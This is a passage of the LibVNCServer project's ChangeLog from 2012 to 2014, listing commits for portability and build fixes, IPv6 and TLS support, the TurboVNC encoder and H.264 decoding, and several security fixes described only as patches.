    463 	called _snprintf. Let's just #define the former to call the latter.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    464 
    465 2014-09-01  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    466 
    467 	* rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header,
    468 	not the winsock.h header.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    469 
    470 2014-08-29  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    471 
    472 	* libvncclient/vncviewer.c: Include Winsock2 header before windows.h
    473 	include That's because there are duplicate #defines, and when Winsock2 is
    474 	defined before windows.h then windows.h detects that and prevent
    475 	redefinition.  See
    476 
    477 	http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    478 
    479 2014-09-01  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    480 
    481 	* libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was
    482 	detected by Microsoft's compiler.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    483 
    484 2014-08-26  dscho <johannes.schindelin (a] gmx.de>
    485 
    486 	* : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash)
    487 
    488 2014-08-18  Nicolas Ruff <nruff (a] google.com>
    489 
    490 	* libvncserver/rfbserver.c: Check malloc() return value on
    491 	client->server ClientCutText message. Client can send up to 2**32-1
    492 	bytes of text, and such a large allocation is likely to fail in case
    493 	of high memory pressure. This would in a server crash (write at
    494 	address 0).
    495 
    496 2014-08-16  dscho <johannes.schindelin (a] gmx.de>
    497 
    498 	* : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb
    499 
    500 2014-08-16  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    501 
    502 	* acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    503 
    504 2014-08-10  Luca Falavigna <dktrkranz (a] debian.org>
    505 
    506 	* acinclude.m4: Enable support for ppc64el architecture
    507 
    508 2014-08-10  Luca Falavigna <dktrkranz (a] debian.org>
    509 
    510 	* libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid
    511 	unnecessary linkage
    512 
    513 2014-08-16  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    514 
    515 	* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    516 
    517 2014-08-16  dscho <johannes.schindelin (a] gmx.de>
    518 
    519 	* : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer()
    520 
    521 2014-08-15  newsoft <newsoft (a] MacBook-Air-de-newsoft-2.local>
    522 
    523 	* libvncclient/vncviewer.c: Fix integer overflow in
    524 	MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during
    525 	frame buffer allocation for very large screen sizes
    526 
    527 2013-09-28  Amandeep Singh <aman.dedman (a] gmail.com>
    528 
    529 	* libvncserver/sockets.c: allow rfbInitSockets with non-ready
    530 	states.  This allows for reinitializations of e. g. sockets in a SHUTDOWN
    531 	state.  The only state that doesn't make sense to reinitialize are
    532 	READY states.
    533 
    534 2013-10-09  Amandeep Singh <aman.dedman (a] gmail.com>
    535 
    536 	* libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a
    537 	rfbClientConnectionGone call missing
    538 
    539 2014-07-10  Will Thompson <will (a] willthompson.co.uk>
    540 
    541 	* x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called,
    542 	and currently calls X_UNLOCK on behalf of the caller. But in
    543 	practice, all callers assume that the lock is still held after
    544 	check_xrandr_event() returns. In particular, this leads to a
    545 	double-unlock and crash in check_xevents() on any xrandr event.
    546 
    547 2014-07-18  dscho <johannes.schindelin (a] gmx.de>
    548 
    549 	* : Merge pull request #13 from
    550 	wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events
    551 
    552 2014-06-27  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    553 
    554 	* common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
    555 	common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1:
    556 	Oberhumer LZO (CVE-2014-4607):
    557 	http://seclists.org/oss-sec/2014/q2/665 This was also reported by Alex Xu as
    558 	https://github.com/LibVNC/libvncserver/issues/9.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    559 
    560 2014-06-23  dscho <johannes.schindelin (a] gmx.de>
    561 
    562 	* : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg.
    563 
    564 2014-06-23  Matthias Treydte <mt (a] waldheinz.de>
    565 
    566 	* libvncclient/rfbproto.c: Initialize padding in
    567 	SetFormatAndEncodings' rfbSetPixelFormatMsg.
    568 
    569 2014-06-23  Matthias Treydte <mt (a] waldheinz.de>
    570 
    571 	* CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR.  This makes the library friendly to use as a git submodule within
    572 	another project, and should change nothing when compiled alone.  For example when having a directory structure like
    573 	"my_project/external/libvnc", where in libvnc resides a checkout of
    574 	libvncserver, one can just reference that directory from the
    575 	CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries,
    576 	one can just hack away without having to manually make / install
    577 	LibVNCServer whenever something is changed there.
    578 
    579 2014-05-14  dscho <johannes.schindelin (a] gmx.de>
    580 
    581 	* : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region
    582 
    583 2014-04-05  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    584 
    585 	* libvncclient/rfbproto.c: libvncclient: If we have TLS support,
    586 	enable VeNCrypt by default Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    587 
    588 2014-04-05  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    589 
    590 	* .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    591 
    592 2014-04-05  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    593 
    594 	* .gitignore: Ignore the vencrypt document 	https://www.berrange.com/~dan/vencrypt.txt Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    595 
    596 2014-04-05  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    597 
    598 	* .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by
    599 	TigerVNC:
    600 	http://sourceforge.net/p/tigervnc/code/HEAD/tree/rfbproto/rfbproto.rstSigned-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    601 
    602 2014-03-29  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    603 
    604 	* examples/repeater.c: Repeater example: show how to shut down
    605 	cleanly Since we connected to the client through the repeater, chances are
    606 	that we want this server shut down once the client disconnected.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    607 
    608 2014-03-29  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    609 
    610 	* .gitignore, examples/Makefile.am, examples/repeater.c: Add an
    611 	example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs
    612 	with a so-called repeater (e.g. to bridge firewalled clients and
    613 	servers): 	http://www.uvnc.com/products/uvnc-repeater.html This example demonstrates how to use that feature with a
    614 	LibVNCServer-based server.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    615 
    616 2014-04-05  Christian Beier <dontmind (a] freeshell.org>
    617 
    618 	* configure.ac, webclients/novnc/README.md,
    619 	webclients/novnc/vnc.html: Update sourceforge links to point to
    620 	github.
    621 
    622 2014-03-31  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    623 
    624 	* libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    625 
    626 2014-03-30  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    627 
    628 	* .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best
    629 	downloaded manually from 	http://www.realvnc.com/docs/rfbproto.pdf Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    630 
    631 2014-03-30  Robbert Klarenbeek <robbertkl (a] users.sourceforge.net>
    632 
    633 	* libvncclient/vncviewer.c: Address #12 ClientData does not get
    634 	freed rfbClientSetClientData() allocates a new rfbClientData, but never
    635 	gets cleaned up, which causes memory leaks.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    636 
    637 2014-03-30  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    638 
    639 	* examples/example.c, test/encodingstest.c: After free()ing
    640 	clientData, set it to NULL We will change rfbClientCleanup() to free the data.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    641 
    642 2013-02-27  Joel Martin <github (a] martintribe.org>
    643 
    644 	* libvncserver/websockets.c: Set opcode correctly for binary frames.
    645 
    646 2013-01-25  Christian Beier <dontmind (a] freeshell.org>
    647 
    648 	* rfb/rfbproto.h: Remove unneeded #ifdefs.
    649 
    650 2013-01-25  Christian Beier <dontmind (a] freeshell.org>
    651 
    652 	* rfb/rfbclient.h: Fix ABI compatibility issue.
    653 
    654 2013-01-09  David Verbeiren <david.verbeiren (a] intel.com>
    655 
    656 	* client_examples/gtkvncviewer.c, configure.ac,
    657 	libvncclient/Makefile.am, libvncclient/h264.c,
    658 	libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h,
    659 	rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer
    660 	updates This patch implements support in LibVNCClient for framebuffer
    661 	updates encoded as H.264 frames. Hardware accelerated decoding is
    662 	performed using VA API.  This is experimental support to let the community explore the
    663 	possibilities offered by the potential bandwidth and latency
    664 	reductions that H.264 encoding allows. This may be particularly
    665 	useful for use cases such as online gaming, hosted desktops, hosted
    666 	set top boxes...  This patch only provides the client side support and is meant to be
    667 	used with corresponding server-side support, as provided by an
    668 	upcoming patch for qemu ui/vnc module (to view the display of a
    669 	virtual machine executing under QEMU).  With this H.264-based encoding, if multiple framebuffer update
    670 	messages are generated for a single server framebuffer modification,
    671 	the H.264 frame data is sent only with the first update message.
    672 	Subsequent update framebuffer messages will contain only the
    673 	coordinates and size of the additional updated regions.  Instructions/Requirements: * The patch should be applied on top of the previous patch I
    674 	submitted with minor enhancements to the gtkvncviewer application:
    675 	http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for
    676 	libva and intel-driver. Those can be built as follows:    cd libva    git checkout v1.0-branch    ./autogen.sh    make    sudo make install    cd ..     git clone git://anongit.freedesktop.org/vaapi/intel-driver    cd intel-driver    git checkout v1.0-branch    ./autogen.sh    make    sudo make install Signed-off-by: David Verbeiren <david.verbeiren (a] intel.com>
    677 
    678 2013-01-08  David Verbeiren <david.verbeiren (a] intel.com>
    679 
    680 	* client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received.  Hide local cusror in gtkvncviewer.
    681 
    682 2012-09-14  Christian Beier <dontmind (a] freeshell.org>
    683 
    684 	* AUTHORS: Add Raphael to AUTHORS.
    685 
    686 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    687 
    688 	* libvncclient/rfbproto.c: Include strings.h for strncasecmp(3)
    689 
    690 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    691 
    692 	* libvncserver/websockets.c: Work around a gcc bug with anonymous
    693 	structs and unions.  GCC < 4.6 failed to parse the declaration of ws_header_t correctly
    694 	because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly,
    695 	but works.  [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784
    696 
    697 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    698 
    699 	* libvncserver/rfbserver.c: Include stdio.h for snprintf(3)
    700 
    701 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    702 
    703 	* libvncserver/websockets.c: Add the required headers for read(2)
    704 
    705 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    706 
    707 	* CMakeLists.txt, configure.ac, libvncserver/websockets.c,
    708 	rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in
    709 	websocket.c.  byteswap.h exists only on glibc, so building libvncserver with
    710 	websockets support was not possible in other systems.  Replace the inclusion of byteswap.h and the WS_* definitions with
    711 	calls to htobeNN, which should perform the same conversions, be more
    712 	portable and avoid the need to check for the platform's endianness.
    713 
    714 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    715 
    716 	* CMakeLists.txt, configure.ac: Do not hardcode the need for
    717 	libresolv.  libresolv is only present on systems which use glibc; platforms such
    718 	as FreeBSD have __b64_ntop as part of libc itself.  Improve the detection process and only link against libresolv if it
    719 	exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES
    720 	after performing the necessary tests, since we do not always want to
    721 	link against libresolv.
    722 
    723 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    724 
    725 	* common/vncauth.c, libvncclient/rfbproto.c,
    726 	libvncclient/sockets.c, libvncserver/httpd.c,
    727 	libvncserver/rfbserver.c, libvncserver/sockets.c,
    728 	libvncserver/websockets.c: Tune the definitions needed when building
    729 	with -ansi.  The current definitions were mostly useful to glibc and followed its
    730 	feature_test_macros(3) documentation.  However, this means other platforms still had problems when building
    731 	with strict compilation flags. _BSD_SOURCE, for example, is only
    732 	recognized by glibc, and other platforms sometimes need
    733 	_XOPEN_SOURCE instead, or even the removal of some definitions (such
    734 	as the outdate _POSIX_SOURCE one).  _POSIX_SOURCE also had to be conditionally defined in some places,
    735 	as what it enables or disables during compilation varies across
    736 	systems.
    737 
    738 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    739 
    740 	* libvncserver/sockets.c, libvncserver/websockets.c: Add some
    741 	missing feature macro definitions.  Building with -ansi failed due to some code (as well as system
    742 	headers) using non-C89 features. Fix that by adding the usual
    743 	_POSIX_SOURCE and _BSD_SOURCE definitions already present in some
    744 	other files.
    745 
    746 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    747 
    748 	* common/turbojpeg.c, libvncserver/tight.c,
    749 	libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
    750 	test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source
    751 	code.  Using C++-style comments when building the code with -ansi does not
    752 	work, so be more conservative with the comment style.
    753 
    754 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    755 
    756 	* libvncserver/websockets.c: Correctly include rfbconfig.h.  build_dir/rfb is not passed as an include directory automatically to
    757 	the compiler, so including that file fails.
    758 
    759 2012-09-11  Raphael Kubo da Costa <rakuco (a] FreeBSD.org>
    760 
    761 	* CMakeLists.txt: CMake: Link against libgcrypt when it is found.  So far, libgcrypt was looked for but no targets linked against it
    762 	directly; this caused linking problems for the client and server
    763 	examples, as the symbols they needed were not passed to the linker.  The issue that the GnuTLS websockets code uses libgcrypt regardless
    764 	of whether it has been found or not has not been touched by this
    765 	commit, though.
    766 
    767 2012-08-19  Christian Beier <dontmind (a] freeshell.org>
    768 
    769 	* webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
    770 	webclients/novnc/include/base.css,
    771 	webclients/novnc/include/black.css,
    772 	webclients/novnc/include/blue.css,
    773 	webclients/novnc/include/display.js,
    774 	webclients/novnc/include/input.js,
    775 	webclients/novnc/include/playback.js,
    776 	webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
    777 	webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
    778 	webclients/novnc/include/web-socket-js/web_socket.js,
    779 	webclients/novnc/include/websock.js,
    780 	webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
    781 	webclients/novnc/vnc_auto.html: Update noVNC webclient.
    782 
    783 2012-08-19  Christian Beier <dontmind (a] freeshell.org>
    784 
    785 	* AUTHORS: Update AUTHORS.
    786 
    787 2012-08-08  Oliver Loch <o.loch (a] gmx.net>
    788 
    789 	* libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6
    790 	without IPv4.  As requested only those lines are indented that have been changed.
    791 
    792 2012-07-20  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    793 
    794 	* AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    795 
    796 2012-07-19  Rostislav Lisovy <lisovy (a] gmail.com>
    797 
    798 	* libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval
    799 	conversion Signed-off-by: Rostislav Lisovy <lisovy (a] gmail.com> Signed-off-by:
    800 	Johannes Schindelin <johannes.schindelin (a] gmx.de>
    801 
    802 2012-05-31  Christian Beier <dontmind (a] freeshell.org>
    803 
    804 	* libvncserver/config.h, libvncserver/rfbconfig.h: Remove
    805 	autogenerated files from repo.
    806 
    807 2012-05-23  Christian Beier <dontmind (a] freeshell.org>
    808 
    809 	* CMakeLists.txt, configure.ac, rfb/rfbconfig.h.cmake: Add Compile
    810 	Time Version Test Defines.
    811 
    812 2012-05-18  Kyle J. McKay <mackyle (a] gmail.com>
    813 
    814 	* libvncserver/sockets.c: libvncserver/sockets.c: do not segfault
    815 	when listenSock/listen6Sock == -1
    816 
    817 2012-05-09  Christian Beier <dontmind (a] freeshell.org>
    818 
    819 	* TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
    820 	vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no
    821 	too unimportant errors.
    822 
    823 2012-05-07  Christian Beier <dontmind (a] freeshell.org>
    824 
    825 	* TODO: Update TODO.
    826 
    827 2012-05-07  Luca Falavigna <dktrkranz (a] debian.org>
    828 
    829 	* test/encodingstest.c: Encodingstest: Use format string argument
    830 	with fprintf.
    831 
    832 2012-05-05  Christian Beier <dontmind (a] freeshell.org>
    833 
    834 	* CMakeLists.txt, configure.ac: Bump version to 0.9.10.
    835 
    836 2012-05-04  Christian Beier <dontmind (a] freeshell.org>
    837 
    838 	* ChangeLog: Update ChangeLog for 0.9.9.
    839 
    840 2012-05-04  Christian Beier <dontmind (a] freeshell.org>
    841 
    842 	* configure.ac: Enable building DLLs with MinGW32.
    843 
    844 2012-05-04  Christian Beier <dontmind (a] freeshell.org>
    845 
    846 	* NEWS: Update NEWS for 0.9.9.
    847 
    848 2012-05-03  Christian Beier <dontmind (a] freeshell.org>
    849 
    850 	* libvncclient/rfbproto.c: LibVNCClient: #undef these types in case
    851 	it's WIN32.  The various other headers include windows.h and the winsock headers
    852 	which give an error when SOCKET and socklen_t are already defined.
    853 
    854 2012-05-03  Christian Beier <dontmind (a] freeshell.org>
    855 
    856 	* rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available.  Needed for the IPv6 stuff.
    857 
    858 2012-04-30  Christian Beier <dontmind (a] freeshell.org>
    859 
    860 	* libvncserver/Makefile.am: LibVNCServer: Prefer GnuTLS over OpenSSL
    861 	to be in sync with LibVNCClient.
    862 
    863 2012-04-30  Christian Beier <dontmind (a] freeshell.org>
    864 
    865 	* libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib
    866 	related build fixes.
    867 
    868 2012-04-30  Christian Beier <dontmind (a] freeshell.org>
    869 
    870 	* configure.ac: Make PKG_CHECK_MODULES fail non-fatal.  These check for optional modules.
    871 
    872 2012-04-30  Christian Beier <dontmind (a] freeshell.org>
    873 
    874 	* libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG
    875 	stuff when libjpeg is available.  TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It
    876 	still uses JPEG rects as well. Theoretically, we could build
    877 	TightPNG with only libpng and libjpeg - without zlib - but libpng
    878 	depends on zlib, so this is kinda moot.
    879 
    880 2012-04-27  Christian Beier <dontmind (a] freeshell.org>
    881 
    882 	* test/Makefile.am: Only build libjpeg test programs if libjpeg is
    883 	actually available.
    884 
    885 2012-04-26  Christian Beier <dontmind (a] freeshell.org>
    886 
    887 	* CMakeLists.txt: Fix CMake build of LibVNCClient.
    888 
    889 2012-04-26  Christian Beier <dontmind (a] freeshell.org>
    890 
    891 	* libvncserver/rfbserver.c: Properly check return value.  This also fixes a compiler warning.
    892 
    893 2012-04-26  Christian Beier <dontmind (a] freeshell.org>
    894 
    895 	* configure.ac: Fix build when no libjpeg is available.
    896 
    897 2012-04-26  Christian Beier <dontmind (a] freeshell.org>
    898 
    899 	* examples/android/Makefile.am, libvncserver/Makefile.am: Include
    900 	some more missing files for make dist.
    901 
    902 2012-04-25  Christian Beier <dontmind (a] freeshell.org>
    903 
    904 	* libvncserver/Makefile.am: Include missing files for make dist.
    905 
    906 2012-04-25  Christian Beier <dontmind (a] freeshell.org>
    907 
    908 	* libvncclient/Makefile.am: Fix libvncclient make dist.
    909 
    910 2012-04-25  Christian Beier <dontmind (a] freeshell.org>
    911 
    912 	* configure.ac: Better check for Linux build.
    913 
    914 2012-04-25  Christian Beier <dontmind (a] freeshell.org>
    915 
    916 	* vncterm/Makefile.am: Binaries that are to be installed should be
    917 	all lowercase.
    918 
    919 2012-04-25  Christian Beier <dontmind (a] freeshell.org>
    920 
    921 	* CMakeLists.txt, configure.ac: Bump version to 0.9.9.
    922 
    923 2012-04-25  Christian Beier <dontmind (a] freeshell.org>
    924 
    925 	* common/turbojpeg.c, libvncserver/rfbserver.c,
    926 	libvncserver/websockets.c, test/tjbench.c: Fix some compiler
    927 	warnings thrown with newer gcc.
    928 
    929 2012-04-25  Christian Beier <dontmind (a] freeshell.org>
    930 
    931 	* test/Makefile.am: Fix turbojpeg tests compilation.
    932 
    933 2012-04-25  DRC <information (a] virtualgl.org>
    934 
    935 	* common/turbojpeg.c: Fix compilation with some libjpeg
    936 	distributions.
    937 
    938 2012-04-22  Monkey <chris.boyle.1978 (a] gmail.com>
    939 
    940 	* libvncclient/rfbproto.c: Added support for UltraVNC Single Click
    941 	as originally proposed by Noobius (Boobius) on 6/1/11.  Original thread:
    942 
    943 	http://sourceforge.net/tracker/?func=detail&aid=3310255&group_id=32584&atid=405860
    944 
    945 2012-04-15  Christian Beier <dontmind (a] freeshell.org>
    946 
    947 	* AUTHORS: Add Philip to AUTHORS.
    948 
    949 2012-04-15  Christian Beier <dontmind (a] freeshell.org>
    950 
    951 	* libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS
    952 	library available.
    953 
    954 2012-04-15  Christian Beier <dontmind (a] freeshell.org>
    955 
    956 	* libvncclient/tls_openssl.c: LibVNCClient: properly free the
    957 	openssl session stuff on shutdown.
    958 
    959 2012-04-15  Christian Beier <dontmind (a] freeshell.org>
    960 
    961 	* libvncclient/rfbproto.c, libvncclient/sockets.c,
    962 	libvncclient/tls_gnutls.c, libvncclient/vncviewer.c,
    963 	rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS
    964 	#ifdefs and move GnuTLS specific functionality into tls_gnutls.c.
    965 
    966 2012-04-14  Christian Beier <dontmind (a] freeshell.org>
    967 
    968 	* configure.ac: Unify GnuTLS vs OpenSSL build systems stuff between
    969 	libvncclient and libvncserver.
    970 
    971 2012-04-14  Christian Beier <dontmind (a] freeshell.org>
    972 
    973 	* libvncclient/Makefile.am, libvncclient/tls.c,
    974 	libvncclient/tls_gnutls.c, libvncclient/tls_none.c,
    975 	libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version
    976 	to the build system.
    977 
    978 2012-04-12  Christian Beier <dontmind (a] freeshell.org>
    979 
    980 	* webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
    981 	webclients/novnc/include/base.css,
    982 	webclients/novnc/include/base64.js,
    983 	webclients/novnc/include/display.js,
    984 	webclients/novnc/include/input.js,
    985 	webclients/novnc/include/jsunzip.js,
    986 	webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
    987 	webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
    988 	webclients/novnc/include/websock.js,
    989 	webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
    990 	webclients/novnc/vnc_auto.html: Update our copy of noVNC.  Bugfixes and support for tight encoding with zlib.
    991 
    992 2012-04-12  Christian Beier <dontmind (a] freeshell.org>
    993 
    994 	* libvncserver/tight.c: Make TurboVNC compress level 3 actually
    995 	work.
    996 
    997 2012-04-09  DRC <information (a] virtualgl.org>
    998 
    999 	* common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace
   1000 	emulation code, which is only active when using regular libjpeg (not
   1001 	libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1002 
   1003 2012-04-02  Christian Beier <dontmind (a] freeshell.org>
   1004 
   1005 	* libvncclient/listen.c, libvncclient/sockets.c,
   1006 	libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for
   1007 	LibVNCServer, part four: add copyright notices to files with
   1008 	non-trivial changes.
   1009 
   1010 2012-03-29  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1011 
   1012 	* client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows
   1013 	keys correctly Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1014 
   1015 2012-03-29  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1016 
   1017 	* .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1018 
   1019 2012-03-29  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1020 
   1021 	* client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP
   1022 	issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if
   1023 	the same key event sets unicode correctly in SDL_KEYDOWN events.  Work around that for the common case (ASCII) using the fact that
   1024 	both SDL and X11 keysyms were created with ASCII compatibility in
   1025 	mind. So as long as we type ASCII symbols, we can map things
   1026 	trivially.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   1027 
   1028 2012-03-23  DRC <information (a] virtualgl.org>
   1029 
   1030 	* CMakeLists.txt: Extend support for the new TurboVNC encoder to the
   1031 	CMake build system
   1032 
   1033 2012-03-25  DRC <information (a] virtualgl.org>
   1034 
   1035 	* common/turbojpeg.c, common/turbojpeg.h, configure.ac,
   1036 	libvncserver/Makefile.am, libvncserver/rfbserver.c,
   1037 	libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h,
   1038 	rfb/rfbproto.h, test/Makefile.am, test/bmp.c, test/bmp.h,
   1039 	test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h: 
   1040 	Replace TightVNC encoder with TurboVNC encoder. This patch is the
   1041 	result of further research and discussion that revealed the
   1042 	following: -- TightPng encoding and the rfbTightNoZlib extension need not
   1043 	   conflict.  Since TightPng is a separate encoding type, not supported
   1044 	   by TurboVNC-compatible viewers, then the rfbTightNoZlib extension
   1045 	   can be used solely whenever the encoding type is Tight and disabled
   1046 	with the encoding type is TightPng.  -- In the TightVNC encoder, compression levels above 5 are basically
   1047 	   useless.  On the set of 20 low-level datasets that were used to
   1048 	   design the TurboVNC encoder (these include the eight 2D application
   1049 	   captures that were also used when designing the TightVNC encoder, as
   1050 	   well as 12 3D application captures provided by the VirtualGL
   1051 	   Project-- see
   1052 	   http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf),
   1053 	   moving from Compression Level (CL) 5 to CL 9 in the TightVNC
   1054 	   encoder did not increase the compression ratio of any datasets more
   1055 	   than 10%, and the compression ratio only increased by more than 5%
   1056 	   on four of them.  The compression ratio actually decreased a few
   1057 	   percent on five of them.  In exchange for this paltry increase in
   1058 	   compression ratio, the CPU usage, on average, went up by a factor of
   1059 	   5.  Thus, for all intents and purposes, TightVNC CL 5 provides the
   1060 	"best useful compression" for that encoder.  -- TurboVNC's best compression level (CL 2) compresses 3D and video
   1061 	   workloads significantly more "tightly" than TightVNC CL 5 (~70%
   1062 	   better, in the aggregate) but does not quite achieve the same level
   1063 	   of compression with 2D workloads (~20% worse, in the aggregate.)
   1064 	   This decrease in compression ratio may or may not be noticeable,
   1065 	   since many of the datasets it affects are not performance-critical
   1066 	   (such as the console output of a compilation, etc.) However, for
   1067 	   peace of mind, it was still desirable to have a mode that compressed
   1068 	   with equal "tightness" to TightVNC CL 5, since we proposed to
   1069 	replace that encoder entirely.  -- A new mode was discovered in the TurboVNC encoder that produces,
   1070 	   in the aggregate, similar compression ratios on 2D datasets as
   1071 	   TightVNC CL 5.  That new mode involves using Zlib level 7 (the same
   1072 	   level used by TightVNC CL 5) but setting the "palette threshold" to
   1073 	   256, so that indexed color encoding is used whenever possible.  This
   1074 	   mode reduces bandwidth only marginally (typically 10-20%) relative
   1075 	   to TurboVNC CL 2 on low-color workloads, in exchange for nearly
   1076 	   doubling CPU usage, and it does not benefit high-color workloads at
   1077 	   all (since those are usually encoded with JPEG.)  However, it
   1078 	provides a means of reproducing the same "tightness" as the TightVNC    encoder on 2D workloads without sacrificing any compression for
   1079 	   3D/video workloads, and without using any more CPU time than
   1080 	necessary.  -- The TurboVNC encoder still performs as well or better than the
   1081 	   TightVNC encoder when plain libjpeg is used instead of
